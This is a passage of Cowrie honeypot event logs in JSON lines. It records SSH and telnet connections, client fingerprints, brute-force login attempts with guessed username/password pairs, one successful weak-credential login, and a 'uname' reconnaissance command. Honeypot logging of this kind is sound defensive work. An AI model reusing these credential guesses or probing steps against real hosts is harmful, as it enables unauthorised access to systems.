-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:49.937056Z","src_ip":"91.92.42.227","session":"03fa13f03ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:51.935308Z","src_ip":"91.92.42.227","session":"e6f9d627f810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47316,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a19eb7ae03c","protocol":"ssh","message":"New connection: 91.92.42.227:47316 (10.17.0.5:22) [session: 1a19eb7ae03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:54.917963Z"}
{"eventid":"cowrie.session.closed","duration":31.988871097564697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:55.092703Z","src_ip":"172.81.62.90","session":"506b47670bbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:55.172444Z","src_ip":"91.92.42.227","session":"e6f9d627f810","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:57.607198Z","src_ip":"91.92.42.227","session":"1a19eb7ae03c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:57.611216Z","src_ip":"91.92.42.227","session":"1a19eb7ae03c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:58.893701Z","src_ip":"91.92.42.227","session":"03fa13f03ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:01.398934Z","src_ip":"91.92.42.227","session":"03fa13f03ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123","message":"login attempt [newuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:03.779848Z","src_ip":"91.92.42.227","session":"1a19eb7ae03c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47356,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d2e3565c5ef","protocol":"ssh","message":"New connection: 91.92.42.227:47356 (10.17.0.5:22) [session: 2d2e3565c5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:04.423879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:05.417847Z","src_ip":"91.92.42.227","session":"2d2e3565c5ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:05.421252Z","src_ip":"91.92.42.227","session":"2d2e3565c5ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:05.864932Z","src_ip":"91.92.42.227","session":"1a19eb7ae03c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47184,"dst_ip":"10.17.0.5","dst_port":22,"session":"689e4aba72b7","protocol":"ssh","message":"New connection: 87.251.79.125:47184 (10.17.0.5:22) [session: 689e4aba72b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:09.858565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:09.870488Z","src_ip":"87.251.79.125","session":"689e4aba72b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:09.939359Z","src_ip":"87.251.79.125","session":"689e4aba72b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"freefree","message":"login attempt [root/freefree] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:10.144430Z","src_ip":"87.251.79.125","session":"689e4aba72b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48544,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bf1ffbba79d","protocol":"ssh","message":"New connection: 91.92.42.227:48544 (10.17.0.5:22) [session: 8bf1ffbba79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:10.911690Z"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:11.150259Z","src_ip":"91.92.42.227","session":"2d2e3565c5ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:11.214016Z","src_ip":"87.251.79.125","session":"689e4aba72b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43742,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1e1dd3b5822","protocol":"telnet","message":"New connection: 128.199.8.54:43742 (159.203.135.109:23) [session: f1e1dd3b5822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:12.011388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:12.064879Z","src_ip":"91.92.42.227","session":"8bf1ffbba79d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:12.067991Z","src_ip":"91.92.42.227","session":"8bf1ffbba79d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":44962,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6f70090f344","protocol":"ssh","message":"New connection: 103.172.78.219:44962 (10.17.0.5:22) [session: e6f70090f344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:12.101623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:12.106424Z","src_ip":"103.172.78.219","session":"e6f70090f344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:12.358054Z","src_ip":"103.172.78.219","session":"e6f70090f344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfkbcvfy","message":"login attempt [root/nfkbcvfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:13.105632Z","src_ip":"103.172.78.219","session":"e6f70090f344","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:13.519057Z","src_ip":"91.92.42.227","session":"2d2e3565c5ef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:13.521973Z","src_ip":"91.92.42.227","session":"2d2e3565c5ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":7040,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ca294c43109","protocol":"ssh","message":"New connection: 45.148.10.152:7040 (159.203.135.109:22) [session: 7ca294c43109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:13.713652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:13.717866Z","src_ip":"45.148.10.152","session":"7ca294c43109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:13.804640Z","src_ip":"45.148.10.152","session":"7ca294c43109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:14.187233Z","src_ip":"45.148.10.152","session":"7ca294c43109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:14.356670Z","src_ip":"103.172.78.219","session":"e6f70090f344","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:15.025217Z","src_ip":"91.92.42.227","session":"2d2e3565c5ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:15.029037Z","src_ip":"91.92.42.227","session":"2d2e3565c5ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:16.960020Z","src_ip":"91.92.42.227","session":"8bf1ffbba79d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:18.899808Z","src_ip":"91.92.42.227","session":"8bf1ffbba79d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47196,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc71d03a1cd9","protocol":"ssh","message":"New connection: 91.92.42.227:47196 (10.17.0.5:22) [session: cc71d03a1cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:18.913230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:19.668094Z","src_ip":"91.92.42.227","session":"cc71d03a1cd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:19.671911Z","src_ip":"91.92.42.227","session":"cc71d03a1cd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56162,"dst_ip":"159.203.135.109","dst_port":23,"session":"9510c5f697a1","protocol":"telnet","message":"New connection: 107.6.151.170:56162 (159.203.135.109:23) [session: 9510c5f697a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:20.008852Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:24.043473Z","src_ip":"91.92.42.227","session":"cc71d03a1cd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46112,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3f02ae48a64","protocol":"ssh","message":"New connection: 91.92.42.227:46112 (10.17.0.5:22) [session: c3f02ae48a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:25.629332Z"}
